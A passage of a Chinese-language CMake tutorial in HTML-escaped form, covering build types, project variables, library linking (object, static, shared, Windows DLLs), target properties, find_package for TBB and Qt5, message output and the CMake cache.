&lt;p&gt;NDEBUG 宏会移除代码中的 assert 语句。&lt;&#x2F;p&gt;
&lt;p&gt;CMake 中 &lt;code&gt;CMAKE_BUILD_TYPE&lt;&#x2F;code&gt; 的默认值为 &lt;code&gt;&quot;&quot;&lt;&#x2F;code&gt;，即不指定构建模式，这时默认使用 Debug 模式。如果想设置默认模式为 Release 模式，可以在 CMakeLists.txt 中添加如下代码&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;if (NOT CMAKE_BUILD_TYPE)
    set(CMAKE_BUILD_TYPE Release)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;project-han-shu-xiang-guan-bian-liang&quot;&gt;&lt;code&gt;project&lt;&#x2F;code&gt; 函数相关变量&lt;&#x2F;h3&gt;
&lt;p&gt;CMake 中的 &lt;code&gt;project&lt;&#x2F;code&gt; 函数会定义一些变量，这些变量可以在 CMakeLists.txt 中使用，也可以在 C++ 代码中使用。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;project(myproject VERSION 1.0.0 LANGUAGES CXX)
message(&amp;quot;PROJECT_NAME: ${PROJECT_NAME}&amp;quot;)
message(&amp;quot;PROJECT_VERSION: ${PROJECT_VERSION}&amp;quot;)
message(&amp;quot;PROJECT_SOURCE_DIR: ${PROJECT_SOURCE_DIR}&amp;quot;)
message(&amp;quot;PROJECT_BINARY_DIR: ${PROJECT_BINARY_DIR}&amp;quot;)
message(&amp;quot;CMAKE_CURRENT_SOURCE_DIR: ${CMAKE_CURRENT_SOURCE_DIR}&amp;quot;)
message(&amp;quot;CMAKE_CURRENT_BINARY_DIR: ${CMAKE_CURRENT_BINARY_DIR}&amp;quot;)
message(&amp;quot;myproject_SOURCE_DIR: ${myproject_SOURCE_DIR}&amp;quot;)
message(&amp;quot;myproject_SOURCE_DIR: ${${PROJECT_NAME}_SOURCE_DIR}&amp;quot;) # 与上面一样，展示了嵌套 $ 功能
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;PROJECT_SOURCE_DIR&lt;&#x2F;code&gt; 代表最近一次调用 &lt;code&gt;project&lt;&#x2F;code&gt; 语句的 CMakeLists.txt 的目录&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;CMAKE_CURRENT_SOURCE_DIR&lt;&#x2F;code&gt; 代表当前 CMakelists.txt 所在的目录。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;CMAKE_SOURCE_DIR&lt;&#x2F;code&gt; 代表顶层 CMakeLists.txt 所在的目录。（不建议使用，无法作为子项目使用）&lt;&#x2F;p&gt;
&lt;p&gt;更多变量和内容可以查看 &lt;code&gt;project&lt;&#x2F;code&gt; 语句的官方文档
&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;latest&#x2F;command&#x2F;project.html&quot;&gt;https:&#x2F;&#x2F;&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;latest&#x2F;command&#x2F;project.html&quot;&gt;cmake.org&#x2F;cmake&#x2F;help&#x2F;la&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;cmake.org&#x2F;cmake&#x2F;help&#x2F;latest&#x2F;command&#x2F;project.html&quot;&gt;test&#x2F;command&#x2F;project.html&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;c-biao-zhun-bian-liang-cmake-cxx-standard&quot;&gt;C++ 标准变量 &lt;code&gt;CMAKE_CXX_STANDARD&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(CMAKE_CXX_STANDARD 17)          # 设置 C++ 标准为 C++17
set(CMAKE_CXX_STANDARD_REQUIRED ON) # 必须使用指定的标准
set(CMAKE_CXX_EXTENSIONS ON)        # 启用 GCC 特有的一些扩展功能

project(myproject VERSION 1.0.0 LANGUAGES CXX)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面几条命令比较容易理解，值得注意的一点是 &lt;code&gt;project&lt;&#x2F;code&gt; 函数放在设置之后，这样 CMake 可以在 project 函数里对编译器进行一些检测，看看他能不能支持 C++17 的特性。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;biao-zhun-c-xiang-mu-mo-ban&quot;&gt;标准 C++ 项目模板&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;cmake_minimum_required(VERSION 3.15)

set(CMake_CXX_STANDARD 17)
set(CMAKE_CXX_STANDARD_REQUIRED ON)

project(myproject LANGUAGES CXX)

if (PROJECT_BINARY_DIR STREQUAL PROJECT_SOURCE_DIR)
    message(WARNING &amp;quot;In-source build detected! Please build out-of-source!&amp;quot;)
endif()

if (NOT CMAKE_BUILD_TYPE)
    set(CMAKE_BUILD_TYPE Release)
endif()

if (WIN32)
    add_definitions(-DNOMINMAX -D_USE_MATH_DEFINES)
endif()

if (NOT MSVC)
    find_program(CCACHE_PROGRAM ccache)
    if (CCACHE_PROGRAM)
        message(STATUS &amp;quot;Found ccache: ${CCACHE_PROGRAM}&amp;quot;)
        set_property(GLOBAL PROPERTY RULE_LAUNCH_COMPILE &amp;quot;${CCACHE_PROGRAM}&amp;quot;)
        set_property(GLOBAL PROPERTY RULE_LAUNCH_LINK &amp;quot;${CCACHE_PROGRAM}&amp;quot;)
    endif()
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;lian-jie-ku-wen-jian&quot;&gt;链接库文件&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;dui-xiang-ku&quot;&gt;对象库&lt;&#x2F;h3&gt;
&lt;p&gt;参考链接&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.scivision.dev&#x2F;cmake-object-libraries&quot;&gt;https:&#x2F;&#x2F;www.&lt;&#x2F;a&gt;&lt;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.scivision.dev&#x2F;cmake-object-libraries&quot;&gt;scivision.dev&#x2F;cmake-obj&lt;&#x2F;a&gt;&lt;&#x2F;strong&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;www.scivision.dev&#x2F;cmake-object-libraries&quot;&gt;ect-libraries&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;p&gt;对象库是 CMake 自创的，绕开了编译器和操作系统的各种繁琐规则，保证了跨平台统一性，类似于静态库，但不生成 .a 文件，只由 CMake 本身记住该库生成了哪些对象文件。在自己的项目中，推荐全部用对象库来组织代码。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;add_library(mylib OBJECT lib.cpp)
add_executable(myapp main.cpp $&amp;lt;TARGET_OBJECTS:mylib&amp;gt;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外使用静态库时 GCC 编译器会自动剔除没有引用符号的对象，如果使用静态库下面的程序会仅输出 world 而没有 hello，对象库则不会有这种问题。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; lib.cpp
#include &amp;lt;cstdio&amp;gt;
static int unused = printf(&amp;quot;hello\n&amp;quot;);

&amp;#x2F;&amp;#x2F; main.cpp
#include &amp;lt;cstdio&amp;gt;
int main() {
    printf(&amp;quot;world\n&amp;quot;);
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;add-library-de-mo-ren-can-shu&quot;&gt;&lt;code&gt;add_library&lt;&#x2F;code&gt; 的默认参数&lt;&#x2F;h3&gt;
&lt;p&gt;当不填写 &lt;code&gt;add_library&lt;&#x2F;code&gt; 的静态库&#x2F;动态库参数时，CMake 会根据 BUILD_SHARED_LIBS 变量来决定是生成静态库还是动态库，未指定 BUILD_SHARED_LIBS 时默认生成静态库。&lt;&#x2F;p&gt;
&lt;p&gt;可以通过命令行参数或者 CMake 语句来指定 BUILD_SHARED_LIBS 变量：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake -B build -DBUILD_SHARED_LIBS:BOOL=ON

if (NOT DEFINED BUILD_SHARED_LIBS)
    set(BUILD_SHARED_LIBS OFF)
endif()
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dong-tai-ku-wu-fa-lian-jie-jing-tai-ku&quot;&gt;动态库无法链接静态库&lt;&#x2F;h3&gt;
&lt;p&gt;当我们要编译一个 so 提供给外部使用，这个 so 本身依赖一些第三方库。但是我们却希望 so 的使用者不用关心该 so 对其他库的依赖。很自然的是会想到在编译 so 的时候把依赖到的第三方库静态链接进来。&lt;&#x2F;p&gt;
&lt;p&gt;然而静态库中的代码位置都是确定的，而动态库中的代码位置是不确定的，因此动态库无法链接静态库。通过将静态库也编译成位置无关的代码（Position Independent Code，PIC），就可以解决这个问题，实现这一点有两种方式，一种是设置全局变量，另一种是设置目标变量。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;# 设置全局变量
set(CMAKE_POSITION_INDEPENDENT_CODE ON)
add_library(mylib STATIC lib.cpp)
add_library(mylib_shared SHARED lib.cpp)
target_link_libraries(mylib_shared PRIVATE mylib)

# 设置目标变量
add_library(mylib STATIC lib.cpp)
set_target_properties(mylib_shared PROPERTIES POSITION_INDEPENDENT_CODE ON)
add_library(mylib_shared SHARED lib.cpp)
target_link_libraries(mylib_shared PRIVATE mylib)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;windows-xia-de-dong-tai-lian-jie-ku&quot;&gt;Windows 下的动态链接库&lt;&#x2F;h3&gt;
&lt;p&gt;需要在需要导出的内容前面加上 &lt;code&gt;__declspec(dllexport)&lt;&#x2F;code&gt;，在需要导入的内容前面加上 &lt;code&gt;__declspec(dllimport)&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;&amp;#x2F;&amp;#x2F; lib.h
# pragma once
#ifdef _MSC_VER
    #ifdef BUILD_SHARED_LIBS
        #define LIB_API __declspec(dllexport)
    #else
        #define LIB_API __declspec(dllimport)
    #endif
#else
    #define LIB_API
#endif

LIB_API void hello();

&amp;#x2F;&amp;#x2F; lib.cpp
#include &amp;quot;lib.h&amp;quot;
#include &amp;lt;cstdio&amp;gt;
LIB_API void hello() { printf(&amp;quot;hello\n&amp;quot;); }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;另外由于 Windows 不支持 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;link.zhihu.com&#x2F;?target=https%3A&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Rpath&quot;&gt;RPATH&lt;&#x2F;a&gt;，因此动态库的 dll 文件需要放在可执行文件的同一目录下，或者放在系统目录下，在子模块的情况下就需要将子模块的输出目录设置为可执行文件的同一目录下。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;add_library(mylib SHARED lib.cpp)
set_target_properties(TARGET mylib PROPERTIES RUNTIME_OUTPUT_DIRECTORY ${PROJECT_BINARY_DIR})
set_target_properties(TARGET mylib PROPERTIES LIBRARY_OUTPUT_DIRECTORY ${PROJECT_BINARY_DIR})
set_target_properties(TARGET mylib PROPERTIES ARCHIVE_OUTPUT_DIRECTORY ${PROJECT_BINARY_DIR})
set_target_properties(TARGET mylib PROPERTIES RUNTIME_OUTPUT_DIRECTORY_DEBUG ${PROJECT_BINARY_DIR})
set_target_properties(TARGET mylib PROPERTIES LIBRARY_OUTPUT_DIRECTORY_DEBUG ${PROJECT_BINARY_DIR})
set_target_properties(TARGET mylib PROPERTIES ARCHIVE_OUTPUT_DIRECTORY_DEBUG ${PROJECT_BINARY_DIR})
set_target_properties(TARGET mylib PROPERTIES RUNTIME_OUTPUT_DIRECTORY_RELEASE ${PROJECT_BINARY_DIR})
set_target_properties(TARGET mylib PROPERTIES LIBRARY_OUTPUT_DIRECTORY_RELEASE ${PROJECT_BINARY_DIR})
set_target_properties(TARGET mylib PROPERTIES ARCHIVE_OUTPUT_DIRECTORY_RELEASE ${PROJECT_BINARY_DIR})
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;dui-xiang-de-shu-xing&quot;&gt;对象的属性&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;set_property&lt;&#x2F;code&gt; 命令可以设置对象的属性，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;add_executable(myapp main.cpp)

set_property(TARGET myapp PROPERTY CXX_STANDARD 17)          # 采用 C++ 标准为 C++17 （默认 11）
set_property(TARGET myapp PROPERTY CXX_STANDARD_REQUIRED ON) # 必须使用指定的标准 （默认 OFF）
set_property(TARGET myapp PROPERTY WIN32_EXECUTABLE ON)      # 生成 Windows 窗口程序，不启动控制台，只有 GUI 界面（默认 OFF）
set_property(TARGET myapp PROPERTY LINK_WHAT_YOU_USE ON)     # 告诉编译器不要自动剔除没有使用的符号（默认 OFF）
set_property(TARGET myapp PROPERTY LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;lib) # 设置动态库文件输出目录
set_property(TARGET myapp PROPERTY ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;lib) # 设置静态库文件输出目录
set_property(TARGET myapp PROPERTY RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;bin) # 设置可执行文件输出目录
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以使用 &lt;code&gt;set_target_properties&lt;&#x2F;code&gt; 命令来一次设置多条对象的属性，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;add_executable(myapp main.cpp)

set_target_properties(myapp PROPERTIES
    CXX_STANDARD 17          # 采用 C++ 标准为 C++17 （默认 11）
    CXX_STANDARD_REQUIRED ON # 必须使用指定的标准 （默认 OFF）
    WIN32_EXECUTABLE ON      # 生成 Windows 窗口程序，不启动控制台，只有 GUI 界面（默认 OFF）
    LINK_WHAT_YOU_USE ON     # 告诉编译器不要自动剔除没有使用的符号（默认 OFF）
    LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;lib # 设置动态库文件输出目录
    ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;lib # 设置静态库文件输出目录
    RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;bin # 设置可执行文件输出目录
)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;也可以设置全局的属性&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(CMAKE_CXX_STANDARD 17)          # 设置 C++ 标准为 C++17 （默认 11）
set(CMAKE_CXX_STANDARD_REQUIRED ON) # 必须使用指定的标准 （默认 OFF）
set(CMAKE_WIN32_EXECUTABLE ON)      # 生成 Windows 窗口程序，不启动控制台，只有 GUI 界面（默认 OFF）
set(CMAKE_LINK_WHAT_YOU_USE ON)     # 告诉编译器不要自动剔除没有使用的符号（默认 OFF）
set(CMAKE_LIBRARY_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;lib) # 设置动态库文件输出目录
set(CMAKE_ARCHIVE_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;lib) # 设置静态库文件输出目录
set(CMAKE_RUNTIME_OUTPUT_DIRECTORY ${CMAKE_BINARY_DIR}&amp;#x2F;bin) # 设置可执行文件输出目录

add_executable(myapp main.cpp)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;lian-jie-di-san-fang-ku&quot;&gt;链接第三方库&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;yi-lian-jie-tbb-wei-li&quot;&gt;以链接 tbb 为例&lt;&#x2F;h3&gt;
&lt;p&gt;例如需要链接 tbb 库，直接链接的话 CMake 会在系统的库目录中查找 tbb，但是在 Windows 上没有系统的库目录，因此需要指定 tbb 的位置，而且头文件也需要指定，非常麻烦。&lt;&#x2F;p&gt;
&lt;p&gt;有一个优雅的做法是使用现代的 &lt;code&gt;find_package&lt;&#x2F;code&gt; 命令，这个命令会查找 &#x2F;usr&#x2F;lib&#x2F;cmake&#x2F;TBB&#x2F;TBBConfig.cmake 这个配置文件（地址不一定一样，大概就是查找库的文件的目录），并根据里面的配置信息创建 TBB::tbb 这个伪对象（他实际指向真正的 tbb 库文件路径 &#x2F;usr&#x2F;lib&#x2F;libtbb.so）。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;find_package(TBB CONFIG REQUIRED)
add_executable(myapp main.cpp)
target_link_libraries(myapp PRIVATE TBB::tbb)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;其中 CONFIG 的作用是只查找 TBBConfig.cmake 这个配置文件，不查找 FindTBB.cmake 这个脚本文件（项目作者常把他塞在 cmake&#x2F; 目录里并添加到 &lt;code&gt;CMAKE_MODULE_PATH&lt;&#x2F;code&gt;），建议加，加上能保证项目寻找包的 .cmake 脚本与系统自带的版本是适配的，而不是项目作者当年下载的版本的 .cmake 脚本。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;不加 CONFIG：会先查找 TBBConfig.cmake，如果找不到再查找 FindTBB.cmake&lt;&#x2F;li&gt;
&lt;li&gt;加了 CONFIG：只查找 TBBConfig.cmake，不查找 FindTBB.cmake&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这个配置文件一般由库的作者提供，通过包管理器安装包后也会自动安装这个文件，其内容大概如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;# Create imported target TBB::tbb
add_library(TBB::tbb SHARED IMPORTED)

set_target_properties(TBB::tbb PROPERTIES
  INTERFACE_COMPILE_DEFINITIONS &amp;quot;\$&amp;lt;\$&amp;lt;CONFIG:DEBUG&amp;gt;:TBB_USE_DEBUG&amp;gt;&amp;quot;
  INTERFACE_INCLUDE_DIRECTORIES &amp;quot;${_IMPORT_PREFIX}&amp;#x2F;include&amp;quot;
)

# Create imported target TBB::tbbmalloc
add_library(TBB::tbbmalloc SHARED IMPORTED)

set_target_properties(TBB::tbbmalloc PROPERTIES
  INTERFACE_COMPILE_DEFINITIONS &amp;quot;\$&amp;lt;\$&amp;lt;CONFIG:DEBUG&amp;gt;:TBB_USE_DEBUG&amp;gt;&amp;quot;
  INTERFACE_INCLUDE_DIRECTORIES &amp;quot;${_IMPORT_PREFIX}&amp;#x2F;include&amp;quot;
)

# Create imported target TBB::tbbmalloc_proxy
add_library(TBB::tbbmalloc_proxy SHARED IMPORTED)

set_target_properties(TBB::tbbmalloc_proxy PROPERTIES
  INTERFACE_COMPILE_DEFINITIONS &amp;quot;\$&amp;lt;\$&amp;lt;CONFIG:DEBUG&amp;gt;:TBB_USE_DEBUG&amp;gt;&amp;quot;
  INTERFACE_INCLUDE_DIRECTORIES &amp;quot;${_IMPORT_PREFIX}&amp;#x2F;include&amp;quot;
)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;windows-shi-yong-find-package-cha-zhao-di-san-fang-ku&quot;&gt;Windows 使用 &lt;code&gt;find_package&lt;&#x2F;code&gt; 查找第三方库&lt;&#x2F;h3&gt;
&lt;p&gt;Windows 上并没有库文件目录，因此需要手动指定 TBBConfig.cmake 文件的位置，有许多方式可以做到这一点，例如设置 &lt;code&gt;CMAKE_MODULE_PATH&lt;&#x2F;code&gt; 变量，也可以设置 &lt;code&gt;TBB_DIR&lt;&#x2F;code&gt; 变量，可以在 CMakeLists.txt 中设置，也可以在命令行中设置（推荐，因为是用户相关的内容，每个人的安装路径都不一样），例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;cmake -B build -DTBB_DIR=&amp;quot;C:&amp;#x2F;Program Files&amp;#x2F;TBB&amp;#x2F;cmake&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;lian-jie-qt5&quot;&gt;链接 Qt5&lt;&#x2F;h3&gt;
&lt;p&gt;直接用以下方式链接 Qt5 会报错&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;find_package(Qt5 REQUIRED)
add_executable(myapp main.cpp)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;报错信息为&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;text&quot; class=&quot;language-text &quot;&gt;&lt;code class=&quot;language-text&quot; data-lang=&quot;text&quot;&gt;CMake Error at CMakeLists.txt:6 (find_package):
    Found package configuration file:

        &amp;#x2F;usr&amp;#x2F;lib&amp;#x2F;cmake&amp;#x2F;Qt5&amp;#x2F;Qt5Config.cmake

    but it set Qt5_FOUND to FALSE so package &amp;quot;Qt5&amp;quot; is considered to be NOT
    FOUND.  Reason given by package:

    The Qt5 package requires at least one component
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;原因是 Qt5 具有多个组件，需要指定链接哪些组件，&lt;code&gt;find_package&lt;&#x2F;code&gt; 生成的伪对象 (imported target) 都按照“包名：: 组件名”的格式命名。例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;find_package(Qt5 COMPONENTS Widgets Gui REQUIRED)
add_executable(myapp main.cpp)
target_link_libraries(myapp PRIVATE Qt5::Widgets Qt5::Gui)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;ke-xuan-yi-lai&quot;&gt;可选依赖&lt;&#x2F;h3&gt;
&lt;p&gt;如果希望某个库是可选的，可以不使用 &lt;code&gt;find_package&lt;&#x2F;code&gt; 的 REQUIRED 参数，然后如下定义相应的宏&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;find_package(TBB CONFIG)
if (TBB_FOUND) # 也可以用 if (TARGET TBB::tbb)
    message(STATUS &amp;quot;TBB found&amp;quot;)
    add_executable(myapp main.cpp)
    target_link_libraries(myapp PRIVATE TBB::tbb)
    target_compile_definitions(myapp PRIVATE WITH_TBB)
else()
    message(WARNING &amp;quot;TBB not found! using serial version&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;于是在 cpp 文件中可以这样写&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cpp&quot; class=&quot;language-cpp &quot;&gt;&lt;code class=&quot;language-cpp&quot; data-lang=&quot;cpp&quot;&gt;#include &amp;lt;cstdio&amp;gt;
#ifdef WITH_TBB
#include &amp;lt;tbb&amp;#x2F;parallel_for.h&amp;gt;
#endif

int main() {
#ifdef WITH_TBB
    tbb::parallel_for(0, 100, int i { printf(&amp;quot;%d\n&amp;quot;, i); });
#else
    for (int i = 0; i &amp;lt; 100; i++) printf(&amp;quot;%d\n&amp;quot;, i);
#endif
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;shu-chu-he-bian-liang&quot;&gt;输出和变量&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;message&lt;&#x2F;code&gt; 命令可以输出信息，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;message(STATUS &amp;quot;STATUS means status info with -- prefix&amp;quot;)
message(WARNING &amp;quot;WARNING means warning info&amp;quot;)
message(AUTHOR_WARNING &amp;quot;AUTHOR_WARNING is only useful for project authors and can be closed by -Wno-dev&amp;quot;)
message(SEND_ERROR &amp;quot;SEND_ERROR means error info and continue to run&amp;quot;)
message(FATAL_ERROR &amp;quot;FATAL_ERROR means error info and stop running&amp;quot;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;message&lt;&#x2F;code&gt; 也可以打印变量的值，例如&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(myvar &amp;quot;hello world&amp;quot;)
message(STATUS &amp;quot;myvar = ${myvar}&amp;quot;) # result is &amp;quot;myvar = hello world&amp;quot;

set(myvar hello world)
message(STATUS &amp;quot;myvar = ${myvar}&amp;quot;) # result is &amp;quot;myvar = hello;world&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;bian-liang-yu-huan-cun&quot;&gt;变量与缓存&lt;&#x2F;h3&gt;
&lt;h3 id=&quot;cmake-huan-cun&quot;&gt;CMake 缓存&lt;&#x2F;h3&gt;
&lt;p&gt;CMake 会自动将一些编译器和 C++ 特性等内容检测完后缓存到 CMakeCache.txt 文件中，这样下次运行 CMake 时就不用再检测了，直接读取缓存文件即可，这样可以加快 CMake 的运行速度。&lt;&#x2F;p&gt;
&lt;p&gt;前面用到的 &lt;code&gt;find_package&lt;&#x2F;code&gt; 命令就是一个例子，他会将检测到的库的路径缓存到 CMakeCache.txt 文件中，这样下次运行 CMake 时就不用再检测了。&lt;&#x2F;p&gt;
&lt;p&gt;缓存虽好，但是很多时候情况有变需要更新缓存，会导致很多 CMake 出错的情况，这时很多人会经典的删 build 大法，但是这样需要完全重新构建，非常耗时，可以尝试只删除 CMakeCache.txt 文件，然后重新运行 &lt;code&gt;CMake -B build&lt;&#x2F;code&gt;，这样就可以更新缓存了。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;huan-cun-bian-liang&quot;&gt;缓存变量&lt;&#x2F;h3&gt;
&lt;p&gt;可以用如下方式设置缓存变量&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cmake&quot; class=&quot;language-cmake &quot;&gt;&lt;code class=&quot;language-cmake&quot; data-lang=&quot;cmake&quot;&gt;set(myvar &amp;quot;hello world&amp;quot; CACHE STRING &amp;quot;this is the docstring of myvar&amp;quot;) # The last string is a docstring
message(STATUS &amp;quot;myvar = ${myvar}&amp;quot;) # result is &amp;quot;myvar = hello world&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这里有一个坑点，更新 CMakeCache.txt 文件后，CMakeLists.txt 中的变量并不会自动更新，需要重新运行 CMake 才会更新，这时可以使用 &lt;code&gt;FORCE&lt;&#x2F;code&gt; 参数来强制更新变量&lt;&#x2F;p&gt;
